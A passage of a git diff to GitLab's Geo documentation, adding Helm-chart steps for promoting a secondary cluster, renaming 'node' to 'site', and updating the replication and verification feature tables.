gitlab-ctl reconfigure
@@ -501,6 +446,134 @@ Now we need to make each **secondary** node listen to changes on the new **prima
to [initiate the replication process](../setup/database.md#step-3-initiate-the-replication-process) again but this time
for another **primary** node. All the old replication settings will be overwritten.
+## Promoting a secondary Geo cluster in GitLab Cloud Native Helm Charts
+
+When updating a Cloud Native Geo deployment, the process for updating any node that is external to the secondary Kubernetes cluster does not differ from the non Cloud Native approach. As such, you can always defer to [Promoting a secondary Geo node in single-secondary configurations](#promoting-a-secondary-geo-node-in-single-secondary-configurations) for more information.
+
+The following sections assume you are using the `gitlab` namespace. If you used a different namespace when setting up your cluster, you should also replace `--namespace gitlab` with your namespace.
+
+WARNING:
+In GitLab 13.2 and 13.3, promoting a secondary site to a primary while the
+secondary is paused fails. Do not pause replication before promoting a
+secondary. If the site is paused, be sure to resume before promoting. This
+issue has been fixed in GitLab 13.4 and later.
+
+### Step 1. Permanently disable the **primary** cluster
+
+WARNING:
+If the **primary** site goes offline, there may be data saved on the **primary** site
+that has not been replicated to the **secondary** site. This data should be treated
+as lost if you proceed.
+
+If an outage on the **primary** site happens, you should do everything possible to
+avoid a split-brain situation where writes can occur in two different GitLab
+instances, complicating recovery efforts. So to prepare for the failover, you
+must disable the **primary** site:
+
+- If you have access to the **primary** Kubernetes cluster, connect to it and disable the GitLab webservice and Sidekiq pods:
+
+ ```shell
+ kubectl --namespace gitlab scale deploy gitlab-geo-webservice-default --replicas=0
+ kubectl --namespace gitlab scale deploy gitlab-geo-sidekiq-all-in-1-v1 --replicas=0
+ ```
+
+- If you do not have access to the **primary** Kubernetes cluster, take the cluster offline and
+ prevent it from coming back online by any means at your disposal.
+ Since there are many ways you may prefer to accomplish this, we will avoid a
+ single recommendation. You may need to:
+
+ - Reconfigure the load balancers.
+ - Change DNS records (for example, point the primary DNS record to the
+ **secondary** site to stop usage of the **primary** site).
+ - Stop the virtual servers.
+ - Block traffic through a firewall.
+ - Revoke object storage permissions from the **primary** site.
+ - Physically disconnect a machine.
+
+### Step 2. Promote all **secondary** nodes external to the cluster
+
+WARNING:
+If the secondary site [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs
+a point-in-time recovery to the last known state.
+Data that was created on the primary while the secondary was paused will be lost.
+
+1. SSH in to the database node in the **secondary** and trigger PostgreSQL to
+ promote to read-write:
+
+ ```shell
+ sudo gitlab-ctl promote-db
+ ```
+
+ In GitLab 12.8 and earlier, see [Message: `sudo: gitlab-pg-ctl: command not found`](../replication/troubleshooting.md#message-sudo-gitlab-pg-ctl-command-not-found).
+
+1. Edit `/etc/gitlab/gitlab.rb` on the database node in the **secondary** site to
+ reflect its new status as **primary** by removing any lines that enabled the
+ `geo_secondary_role`:
+
+ NOTE:
+ Depending on your architecture these steps will need to be run on any GitLab node that is external to the **secondary** Kubernetes cluster.
+
+ ```ruby
+ ## In pre-11.5 documentation, the role was enabled as follows. Remove this line.
+ geo_secondary_role['enable'] = true
+
+ ## In 11.5+ documentation, the role was enabled as follows. Remove this line.
+ roles ['geo_secondary_role']
+ ```
+
+ After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) on the database node.
+
+### Step 3. Promote the **secondary** cluster
+
+1. Find the task runner pod:
+
+ ```shell
+ kubectl --namespace gitlab get pods -lapp=task-runner
+ ```
+
+1. Promote the secondary:
+
+ ```shell
+ kubectl --namespace gitlab exec -ti gitlab-geo-task-runner-XXX -- gitlab-rake geo:set_secondary_as_primary
+ ```
+
+1. Update the existing cluster configuration.
+
+ You can retrieve the existing config with Helm:
+
+ ```shell
+ helm --namespace gitlab get values gitlab-geo > gitlab.yaml
+ ```
+
+ The existing config will contain a section for Geo that should resemble:
+
+ ```yaml
+ geo:
+ enabled: true
+ role: secondary
+ nodeName: secondary.example.com
+ psql:
+ host: geo-2.db.example.com
+ port: 5431
+ password:
+ secret: geo
+ key: geo-postgresql-password
+ ```
+
+ To promote the **secondary** cluster to a **primary** cluster, update `role: secondary` to `role: primary`.
+
+ You can remove the entire `psql` section if the cluster will remain as a primary site, this refers to the tracking database and will be ignored whilst the cluster is acting as a primary site.
+
+ Update the cluster with the new config:
+
+ ```shell
+ helm upgrade --install --version <current Chart version> gitlab-geo gitlab/gitlab --namespace gitlab -f gitlab.yaml
+ ```
+
+1. Verify you can connect to the newly promoted primary using the URL used previously for the secondary.
+
+1. Success! The secondary has now been promoted to primary.
+
## Troubleshooting
This section was moved to [another location](../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node).
diff --git a/doc/administration/geo/glossary.md b/doc/administration/geo/glossary.md
index 98a29c27a89..1ec552326aa 100644
--- a/doc/administration/geo/glossary.md
+++ b/doc/administration/geo/glossary.md
@@ -6,7 +6,7 @@ type: howto
---
-# Geo Glossary
+# Geo Glossary **(PREMIUM SELF)**
NOTE:
We are updating the Geo documentation, user interface and commands to reflect these changes. Not all pages comply with
diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md
index 296500e35e2..f1884f297e8 100644
--- a/doc/administration/geo/index.md
+++ b/doc/administration/geo/index.md
@@ -54,7 +54,7 @@ Geo provides:
### Gitaly Cluster
Geo should not be confused with [Gitaly Cluster](../gitaly/praefect.md). For more information about
-the difference between Geo and Gitaly Cluster, see [Gitaly Cluster compared to Geo](../gitaly/praefect.md#gitaly-cluster-compared-to-geo).
+the difference between Geo and Gitaly Cluster, see [Gitaly Cluster compared to Geo](../gitaly/index.md#gitaly-cluster-compared-to-geo).
## How it works
@@ -281,7 +281,6 @@ WARNING:
This list of limitations only reflects the latest version of GitLab. If you are using an older version, extra limitations may be in place.
- Pushing directly to a **secondary** node redirects (for HTTP) or proxies (for SSH) the request to the **primary** node instead of [handling it directly](https://gitlab.com/gitlab-org/gitlab/-/issues/1381), except when using Git over HTTP with credentials embedded within the URI. For example, `https://user:password@secondary.tld`.
-- Cloning, pulling, or pushing repositories that exist on the **primary** node but not on the **secondary** nodes where [selective synchronization](replication/configuration.md#selective-synchronization) does not include the project is not supported over SSH [but support is planned](https://gitlab.com/groups/gitlab-org/-/epics/2562). HTTP(S) is supported.
- The **primary** node has to be online for OAuth login to happen. Existing sessions and Git are not affected. Support for the **secondary** node to use an OAuth provider independent from the primary is [being planned](https://gitlab.com/gitlab-org/gitlab/-/issues/208465).
- The installation takes multiple manual steps that together can take about an hour depending on circumstances. We are working on improving this experience. See [Omnibus GitLab issue #2978](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/2978) for details.
- Real-time updates of issues/merge requests (for example, via long polling) doesn't work on the **secondary** node.
@@ -289,6 +288,7 @@ This list of limitations only reflects the latest version of GitLab. If you are
- Object pools for forked project deduplication work only on the **primary** node, and are duplicated on the **secondary** node.
- GitLab Runners cannot register with a **secondary** node. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294).
- Geo **secondary** nodes can not be configured to [use high-availability configurations of PostgreSQL](https://gitlab.com/groups/gitlab-org/-/epics/2536).
+- [Selective synchronization](replication/configuration.md#selective-synchronization) only limits what repositories are replicated. The entire PostgreSQL data is still replicated. Selective synchronization is not built to accomodate compliance / export control use cases.
### Limitations on replication/verification
diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md
index dfb460c9f46..61f99257844 100644
--- a/doc/administration/geo/replication/datatypes.md
+++ b/doc/administration/geo/replication/datatypes.md
@@ -33,8 +33,9 @@ verification methods:
| Git | Project wiki repository | Geo with Gitaly | Gitaly Checksum |
| Git | Project designs repository | Geo with Gitaly | Gitaly Checksum |
| Git | Object pools for forked project deduplication | Geo with Gitaly | _Not implemented_ |
-| Git | Project Snippets | Geo with Gitaly | _Not implemented_ |
-| Git | Personal Snippets | Geo with Gitaly | _Not implemented_ |
+| Git | Project Snippets | Geo with Gitaly | Gitaly Checksum |
+| Git | Personal Snippets | Geo with Gitaly | Gitaly Checksum |
+| Git | Group wiki repository | Geo with Gitaly | _Not implemented_ |
| Blobs | User uploads _(file system)_ | Geo with API | _Not implemented_ |
| Blobs | User uploads _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
| Blobs | LFS objects _(file system)_ | Geo with API | _Not implemented_ |
@@ -51,8 +52,10 @@ verification methods:
| Blobs | Versioned Terraform State _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
| Blobs | External Merge Request Diffs _(file system)_ | Geo with API | _Not implemented_ |
| Blobs | External Merge Request Diffs _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
+| Blobs | Pipeline artifacts _(file system)_ | Geo with API | SHA256 checksum |
+| Blobs | Pipeline artifacts _(object storage)_ | Geo with API/Managed (*2*) | SHA256 checksum |
-- (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo nodes.
+- (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo sites.
- (*2*): Object storage replication can be performed by Geo or by your object storage provider/appliance
native replication feature.
@@ -68,7 +71,7 @@ performance limitations when using a remote file system).
Communication is done via Gitaly's own gRPC API. There are three possible ways of synchronization:
-- Using regular Git clone/fetch from one Geo node to another (with special authentication).
+- Using regular Git clone/fetch from one Geo site to another (with special authentication).
- Using repository snapshots (for when the first method fails or repository is corrupt).
- Manual trigger from the Admin Area (a combination of both of the above).
@@ -82,7 +85,7 @@ They all live in the same shard and share the same base name with a `-wiki` and
for Wiki and Design Repository cases.
Besides that, there are snippet repositories. They can be connected to a project or to some specific user.
-Both types will be synced to a secondary node.
+Both types will be synced to a secondary site.
### Blobs
@@ -95,7 +98,7 @@ GitLab stores files and blobs such as Issue attachments or LFS objects into eith
- A Storage Appliance that exposes an Object Storage-compatible API.
When using the file system store instead of Object Storage, you need to use network mounted file systems
-to run GitLab when using more than one server.
+to run GitLab when using more than one node.
With respect to replication and verification:
@@ -113,10 +116,10 @@ as well as permissions and credentials.
PostgreSQL can also hold some level of cached data like HTML rendered Markdown, cached merge-requests diff (this can
also be configured to be offloaded to object storage).
-We use PostgreSQL's own replication functionality to replicate data from the **primary** to **secondary** nodes.
+We use PostgreSQL's own replication functionality to replicate data from the **primary** to **secondary** sites.
We use Redis both as a cache store and to hold persistent data for our background jobs system. Because both
-use-cases has data that are exclusive to the same Geo node, we don't replicate it between nodes.
+use-cases have data that are exclusive to the same Geo site, we don't replicate it between sites.
Elasticsearch is an optional database, that can enable advanced searching capabilities, like improved Advanced Search
in both source-code level and user generated content in Issues / Merge-Requests and discussions. Currently it's not
@@ -125,7 +128,7 @@ supported in Geo.
## Limitations on replication/verification
The following table lists the GitLab features along with their replication
-and verification status on a **secondary** node.
+and verification status on a **secondary** site.
You can keep track of the progress to implement the missing items in
these epics/issues:
@@ -165,40 +168,40 @@ Feature.enable(:geo_package_file_replication)
WARNING:
Features not on this list, or with **No** in the **Replicated** column,
-are not replicated on the **secondary** node. Failing over without manually
+are not replicated to a **secondary** site. Failing over without manually
replicating data from those features will cause the data to be **lost**.
-If you wish to use those features on a **secondary** node, or to execute a failover
+If you wish to use those features on a **secondary** site, or to execute a failover
successfully, you must replicate their data using some other means.
-| Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Object Storage replication (see [Geo with Object Storage](object_storage.md)) | Notes |
-|:---------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------|:----------------------------------------------------------|:-------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| [Application data in PostgreSQL](../../postgresql/index.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
-| [Project repository](../../../user/project/repository/) | **Yes** (10.2) | **Yes** (10.7) | No | |
-| [Project wiki repository](../../../user/project/wiki/) | **Yes** (10.2) | **Yes** (10.7) | No |
-| [Group wiki repository](../../../user/group/index.md#group-wikis) | [**Yes** (13.10)](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | No | No | Behind feature flag `geo_group_wiki_repository_replication`, enabled by default |
-| [Uploads](../../uploads.md) | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | No | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing the output between them. |
-| [LFS objects](../../lfs/index.md) | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing the output between them. GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). |
-| [Personal snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
-| [Project snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
-| [CI job artifacts (other than Job Logs)](../../../ci/pipelines/job_artifacts.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta) . | Verified only manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing the output between them |
-| [Job logs](../../job_logs.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing the output between them |
-| [Object pools for forked project deduplication](../../../development/git_object_deduplication.md) | **Yes** | No | No | |
-| [Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | No | Disabled by default. See [instructions](docker_registry.md) to enable. |
-| [Content in object storage (beta)](object_storage.md) | **Yes** (12.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/13845) | No | |
-| [Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | Via Object Storage provider if supported. Native Geo support (Beta). | |
-| [Package Registry for npm](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default |
-| [Package Registry for Maven](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default |
-| [Package Registry for Conan](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default |
-| [Package Registry for NuGet](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default |
-| [Package Registry for PyPI](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default |
-| [Package Registry for Composer](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default |
-| [Package Registry for generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default |
-| [Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_terraform_state_version_replication`, enabled by default |
-| [External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_merge_request_diff_replication`, enabled by default |
-| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | |
-| [Server-side Git hooks](../../server_hooks.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | |
-| [Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | |
-| [GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | No | |
-| [CI Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/ci/pipeline_artifact.rb) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Persists additional artifacts after a pipeline completes |
-| [Dependency proxy images](../../../user/packages/dependency_proxy/index.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/259694) | No | No | Blocked on [Geo: Secondary Mimicry](https://gitlab.com/groups/gitlab-org/-/epics/1528). Note that replication of this cache is not needed for Disaster Recovery purposes because it can be recreated from external sources. |
-| [Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. |
+|Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Object Storage replication (see [Geo with Object Storage](object_storage.md)) | Notes |
+|:--------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------|:------------------------------------------------------------------------|:------------------------------------------------------------------------------|:------|
+|[Application data in PostgreSQL](../../postgresql/index.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
+|[Project repository](../../../user/project/repository/) | **Yes** (10.2) | **Yes** (10.7) | No | |
+|[Project wiki repository](../../../user/project/wiki/) | **Yes** (10.2) | **Yes** (10.7) | No | |
+|[Group wiki repository](../../../user/project/wiki/index.md#group-wikis) | [**Yes** (13.10)](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | No | No | Behind feature flag `geo_group_wiki_repository_replication`, enabled by default. |
+|[Uploads](../../uploads.md) | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | No | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. |
+|[LFS objects](../../lfs/index.md) | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). |
+|[Personal snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
+|[Project snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
+|[CI job artifacts (other than Job Logs)](../../../ci/pipelines/job_artifacts.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. |
+|[CI Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/ci/pipeline_artifact.rb) | [**Yes** (13.11)](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | [**Yes** (13.11)](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | Via Object Storage provider if supported. Native Geo support (Beta). | Persists additional artifacts after a pipeline completes |
+|[Job logs](../../job_logs.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. |
+|[Object pools for forked project deduplication](../../../development/git_object_deduplication.md) | **Yes** | No | No | |
+|[Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | No | Disabled by default. See [instructions](docker_registry.md) to enable. |
+|[Content in object storage (beta)](object_storage.md) | **Yes** (12.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/13845) | No | |
+|[Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | Via Object Storage provider if supported. Native Geo support (Beta). | |
+|[Package Registry for npm](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for Maven](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for Conan](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for NuGet](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for PyPI](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for Composer](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_terraform_state_version_replication`, enabled by default. |
+|[External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_merge_request_diff_replication`, enabled by default. |
+|[Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | |
+|[Server-side Git hooks](../../server_hooks.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | |
+|[Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | |
+|[GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | No | |
+|[Dependency proxy images](../../../user/packages/dependency_proxy/index.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/259694) | No | No | Blocked on [Geo: Secondary Mimicry](https://gitlab.com/groups/gitlab-org/-/epics/1528). Note that replication of this cache is not needed for Disaster Recovery purposes because it can be recreated from external sources. |
+|[Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. |
diff --git a/doc/administration/geo/replication/disable_geo.md b/doc/administration/geo/replication/disable_geo.md
index a26adcefef5..c71cf80d0c1 100644
--- a/doc/administration/geo/replication/disable_geo.md
+++ b/doc/administration/geo/replication/disable_geo.md
@@ -12,26 +12,26 @@ situation and you want to disable Geo momentarily, you can use these instruction
Geo setup.
There should be no functional difference between disabling Geo and having an active Geo setup with
-no secondary Geo nodes if you remove them correctly.
+no secondary Geo sites if you remove them correctly.
To disable Geo, follow these steps:
-1. [Remove all secondary Geo nodes](#remove-all-secondary-geo-nodes).
-1. [Remove the primary node from the UI](#remove-the-primary-node-from-the-ui).
+1. [Remove all secondary Geo sites](#remove-all-secondary-geo-sites).
+1. [Remove the primary site from the UI](#remove-the-primary-site-from-the-ui).
1. [Remove secondary replication slots](#remove-secondary-replication-slots).
1. [Remove Geo-related configuration](#remove-geo-related-configuration).
1. [(Optional) Revert PostgreSQL settings to use a password and listen on an IP](#optional-revert-postgresql-settings-to-use-a-password-and-listen-on-an-ip).
-## Remove all secondary Geo nodes
+## Remove all secondary Geo sites
-To disable Geo, you need to first remove all your secondary Geo nodes, which means replication will not happen
-anymore on these nodes. You can follow our docs to [remove your secondary Geo nodes](remove_geo_node.md).
+To disable Geo, you need to first remove all your secondary Geo sites, which means replication will not happen
+anymore on these sites. You can follow our docs to [remove your secondary Geo sites](remove_geo_site.md).
-If the current node that you want to keep using is a secondary node, you need to first promote it to primary.
-You can use our steps on [how to promote a secondary node](../disaster_recovery/#step-3-promoting-a-secondary-node)
+If the current site that you want to keep using is a secondary site, you need to first promote it to primary.
+You can use our steps on [how to promote a secondary site](../disaster_recovery/#step-3-promoting-a-secondary-node)
to do that.
-## Remove the primary node from the UI
+## Remove the primary site from the UI
1. Go to **Admin Area > Geo** (`/admin/geo/nodes`).
1. Click the **Remove** button for the **primary** node.
@@ -59,7 +59,7 @@ Geo node in a PostgreSQL console (`sudo gitlab-psql`):
## Remove Geo-related configuration
-1. SSH into your primary Geo node and log in as root:
+1. For each node on your primary Geo site, SSH into the node and log in as root:
```shell
sudo -i
diff --git a/doc/administration/geo/replication/docker_registry.md b/doc/administration/geo/replication/docker_registry.md
index 1669abbc52a..ea73614511f 100644
--- a/doc/administration/geo/replication/docker_registry.md
+++ b/doc/administration/geo/replication/docker_registry.md
@@ -5,16 +5,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# Docker Registry for a secondary node **(PREMIUM SELF)**
+# Docker Registry for a secondary site **(PREMIUM SELF)**
You can set up a [Docker Registry](https://docs.docker.com/registry/) on your
-**secondary** Geo node that mirrors the one on the **primary** Geo node.
+**secondary** Geo site that mirrors the one on the **primary** Geo site.
## Storage support
Docker Registry currently supports a few types of storage. If you choose a
distributed storage (`azure`, `gcs`, `s3`, `swift`, or `oss`) for your Docker
-Registry on the **primary** node, you can use the same storage for a **secondary**
+Registry on the **primary** site, you can use the same storage for a **secondary**
Docker Registry as well. For more information, read the
[Load balancing considerations](https://docs.docker.com/registry/deploying/#load-balancing-considerations)
when deploying the Registry, and how to set up the storage driver for the GitLab
@@ -24,22 +24,22 @@ integrated [Container Registry](../../packages/container_registry.md#use-object-
You can enable a storage-agnostic replication so it
can be used for cloud or local storage. Whenever a new image is pushed to the
-**primary** node, each **secondary** node will pull it to its own container
+**primary** site, each **secondary** site will pull it to its own container
repository.
To configure Docker Registry replication:
-1. Configure the [**primary** node](#configure-primary-node).
-1. Configure the [**secondary** node](#configure-secondary-node).
+1. Configure the [**primary** site](#configure-primary-site).
+1. Configure the [**secondary** site](#configure-secondary-site).
1. Verify Docker Registry [replication](#verify-replication).
-### Configure **primary** node
+### Configure **primary** site
Make sure that you have Container Registry set up and working on
-the **primary** node before following the next steps.
+the **primary** site before following the next steps.
We need to make Docker Registry send notification events to the
-**primary** node.
+**primary** site.
1. SSH into your GitLab **primary** server and login as root:
@@ -85,27 +85,29 @@ We need to make Docker Registry send notification events to the
gitlab-ctl reconfigure
```
-### Configure **secondary** node
+### Configure **secondary** site
Make sure you have Container Registry set up and working on
-the **secondary** node before following the next steps.
+the **secondary** site before following the next steps.
-The following steps should be done on each **secondary** node you're
+The following steps should be done on each **secondary** site you're
expecting to see the Docker images replicated.
-Because we need to allow the **secondary** node to communicate securely with
-the **primary** node Container Registry, we need to have a single key
-pair for all the nodes. The **secondary** node will use this key to
+Because we need to allow the **secondary** site to communicate securely with
+the **primary** site Container Registry, we need to have a single key
+pair for all the sites. The **secondary** site will use this key to
generate a short-lived JWT that is pull-only-capable to access the
-**primary** node Container Registry.
+**primary** site Container Registry.
-1. SSH into the **secondary** node and login as the `root` user:
+For each application and Sidekiq node on the **secondary** site:
+
+1. SSH into the node and login as the `root` user:
```shell
sudo -i
```
-1. Copy `/var/opt/gitlab/gitlab-rails/etc/gitlab-registry.key` from the **primary** to the **secondary** node.
+1. Copy `/var/opt/gitlab/gitlab-rails/etc/gitlab-registry.key` from the **primary** to the node.
1. Edit `/etc/gitlab/gitlab.rb`:
@@ -114,7 +116,7 @@ generate a short-lived JWT that is pull-only-capable to access the
gitlab_rails['geo_registry_replication_primary_api_url'] = 'https://primary.example.com:5050/' # Primary registry address, it will be used by the secondary node to directly communicate to primary registry
```
-1. Reconfigure the **secondary** node for the change to take effect:
+1. Reconfigure the node for the change to take effect:
```shell
gitlab-ctl reconfigure
@@ -123,6 +125,6 @@ generate a short-lived JWT that is pull-only-capable to access the
### Verify replication
To verify Container Registry replication is working, go to **Admin Area > Geo**
-(`/admin/geo/nodes`) on the **secondary** node.
+(`/admin/geo/nodes`) on the **secondary** site.
The initial replication, or "backfill", will probably still be in progress.
-You can monitor the synchronization process on each Geo node from the **primary** node's **Geo Nodes** dashboard in your browser.
+You can monitor the synchronization process on each Geo site from the **primary** site's **Geo Nodes** dashboard in your browser.
diff --git a/doc/administration/geo/replication/geo_validation_tests.md b/doc/administration/geo/replication/geo_validation_tests.md
index f050d3e708c..06fd3cd70be 100644
--- a/doc/administration/geo/replication/geo_validation_tests.md
+++ b/doc/administration/geo/replication/geo_validation_tests.md
@@ -148,13 +148,13 @@ The following are PostgreSQL upgrade validation tests we performed.
[PostgreSQL 11 upgrade procedure for Geo installations](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4975):
- Description: Prior to making PostgreSQL 11 the default version of PostgreSQL in GitLab 12.10, we
